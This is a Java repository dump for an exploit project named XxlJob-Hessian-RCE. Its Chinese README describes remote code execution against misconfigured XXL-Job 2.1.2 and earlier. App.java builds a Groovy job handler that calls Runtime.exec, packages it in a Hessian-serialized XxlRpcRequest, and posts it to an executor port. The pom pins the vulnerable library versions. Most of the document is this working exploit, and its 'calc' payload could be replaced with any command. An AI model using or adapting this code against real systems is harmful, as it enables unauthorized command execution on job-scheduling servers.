├── src ├── main │ └── java │ │ ├── META-INF │ │ └── MANIFEST.MF │ │ └── com │ │ └── example │ │ ├── Serializables.java │ │ └── App.java └── test │ └── java │ └── com │ └── example │ └── AppTest.java ├── README.md └── pom.xml /src/main/java/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.example.App 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XxlJob-Hessian-RCE 2 | 此漏洞为Xxljob配置不当情况下反序列化RCE 3 | 4 | XxlJob<=2.1.2,需要利用Hessian触发。 5 | 6 | XxlJob >= 2.2.0 会支持RESTFUL API,直接打公开的POC过去即可。 7 | 8 | 该项目主要是探讨Hessian触发方式。 9 | -------------------------------------------------------------------------------- /src/test/java/com/example/AppTest.java: -------------------------------------------------------------------------------- 1 | package com.example; 2 | 3 | import static org.junit.Assert.assertTrue; 4 | 5 | import org.junit.Test; 6 | 7 | /** 8 | * Unit test for simple App. 9 | */ 10 | public class AppTest 11 | { 12 | /** 13 | * Rigorous Test :-) 14 | */ 15 | @Test 16 | public void shouldAnswerWithTrue() 17 | { 18 | assertTrue( true ); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/com/example/Serializables.java: -------------------------------------------------------------------------------- 1 | package com.example; 2 | 3 | import java.io.*; 4 | 5 | public class Serializables { 6 | 7 | public static byte[] serialize(final Object obj) throws IOException { 8 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 9 | serialize(obj, out); 10 | return out.toByteArray(); 11 | } 12 | 13 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 14 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 15 | objOut.writeObject(obj); 16 | objOut.flush(); 17 | objOut.close(); 18 | } 19 | 20 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 21 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 22 | return deserialize(in); 23 | } 24 | 25 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 26 | final ObjectInputStream objIn = new ObjectInputStream(in); 27 | return objIn.readObject(); 28 | } 29 | 30 | } -------------------------------------------------------------------------------- /src/main/java/com/example/App.java: -------------------------------------------------------------------------------- 1 | package com.example; 2 | 3 | import com.xxl.job.core.biz.model.TriggerParam; 4 | import com.xxl.rpc.remoting.net.params.XxlRpcRequest; 5 | 6 | import com.xxl.rpc.serialize.impl.HessianSerializer; 7 | import org.asynchttpclient.AsyncCompletionHandler; 8 | import org.asynchttpclient.AsyncHttpClient; 9 | import org.asynchttpclient.DefaultAsyncHttpClient; 10 | import org.asynchttpclient.Response; 11 | 12 | import java.io.IOException; 13 | import java.util.Date; 14 | 15 | public class App { 16 | 17 | private static void sendData(String url, byte[] bytes) { 18 | AsyncHttpClient c = new DefaultAsyncHttpClient(); 19 | 20 | try{ 21 | c.preparePost(url) 22 | .setBody(bytes) 23 | .execute(new AsyncCompletionHandler() { 24 | @Override 25 | public Response onCompleted(Response response) throws Exception { 26 | System.out.println("Server Return Data: "); 27 | System.out.println(response.getResponseBody()); 28 | return response; 29 | } 30 | 31 | @Override 32 | public void onThrowable(Throwable t) { 33 | System.out.println("HTTP出现异常"); 34 | t.printStackTrace(); 35 | super.onThrowable(t); 36 | } 37 | }).toCompletableFuture().join(); 38 | 39 | c.close(); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } finally { 43 | try { 44 | c.close(); 45 | } catch (IOException e) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | 51 | } 52 | 53 | public static void main( String[] args ) throws Exception { 54 | 55 | String code = "package com.xxl.job.service.handler;\n" + 56 | "\n" + 57 | "import com.xxl.job.core.log.XxlJobLogger;\n" + 58 | "import com.xxl.job.core.biz.model.ReturnT;\n" + 59 | "import com.xxl.job.core.handler.IJobHandler;\n" + 60 | "import java.lang.Runtime;\n" + 61 | "\n" + 62 | "public class DemoGlueJobHandler extends IJobHandler {\n" + 63 | "\n" + 64 | "\t@Override\n" + 65 | "\tpublic ReturnT execute(String param) throws Exception {\n" + 66 | " \tRuntime.getRuntime().exec(\"calc\");\n" + 67 | "\t\treturn ReturnT.SUCCESS;\n" + 68 | "\t}\n" + 69 | "\n" + 70 | "}\n"; 71 | 72 | System.out.println(code); 73 | 74 | TriggerParam params = new TriggerParam(); 75 | params.setJobId(10); 76 | params.setExecutorBlockStrategy("SERIAL_EXECUTION"); 77 | params.setLogId(10); 78 | params.setLogDateTime((new Date()).getTime()); 79 | params.setGlueType("GLUE_GROOVY"); 80 | params.setGlueSource(code); 81 | params.setGlueUpdatetime((new Date()).getTime()); 82 | 83 | XxlRpcRequest xxlRpcRequest = new XxlRpcRequest(); 84 | xxlRpcRequest.setRequestId("111"); 85 | xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz"); 86 | xxlRpcRequest.setMethodName("run"); 87 | xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class}); 88 | xxlRpcRequest.setParameters(new Object[] {params}); 89 | xxlRpcRequest.setCreateMillisTime((new Date()).getTime()); 90 | 91 | HessianSerializer serializer = new HessianSerializer(); 92 | 93 | byte[] data = serializer.serialize(xxlRpcRequest); 94 | sendData("http://127.0.0.1:9999", data); 95 | 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | com.example 8 | xxljob-exp 9 | 1.0-SNAPSHOT 10 | 11 | xxljob-exp 12 | 13 | http://www.example.com 14 | 15 | 16 | UTF-8 17 | 1.7 18 | 1.7 19 | 20 | 21 | 22 | 23 | junit 24 | junit 25 | 4.11 26 | test 27 | 28 | 29 | 30 | 31 | com.xuxueli 32 | xxl-job-core 33 | 2.1.2 34 | 35 | 36 | 37 | 38 | 39 | com.xuxueli 40 | xxl-rpc-core 41 | 1.5.0 42 | 43 | 44 | 45 | 46 | com.xuxueli 47 | xxl-rpc 48 | 1.5.0 49 | pom 50 | 51 | 52 | 53 | 54 | 55 | org.asynchttpclient 56 | async-http-client 57 | 2.8.1 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | maven-clean-plugin 68 | 3.1.0 69 | 70 | 71 | 72 | maven-resources-plugin 73 | 3.0.2 74 | 75 | 76 | maven-compiler-plugin 77 | 3.8.0 78 | 79 | 80 | maven-surefire-plugin 81 | 2.22.1 82 | 83 | 84 | maven-jar-plugin 85 | 3.0.2 86 | 87 | 88 | maven-install-plugin 89 | 2.5.2 90 | 91 | 92 | maven-deploy-plugin 93 | 2.8.2 94 | 95 | 96 | 97 | maven-site-plugin 98 | 3.7.1 99 | 100 | 101 | maven-project-info-reports-plugin 102 | 3.0.0 103 | 104 | 105 | 106 | 107 | 108 | --------------------------------------------------------------------------------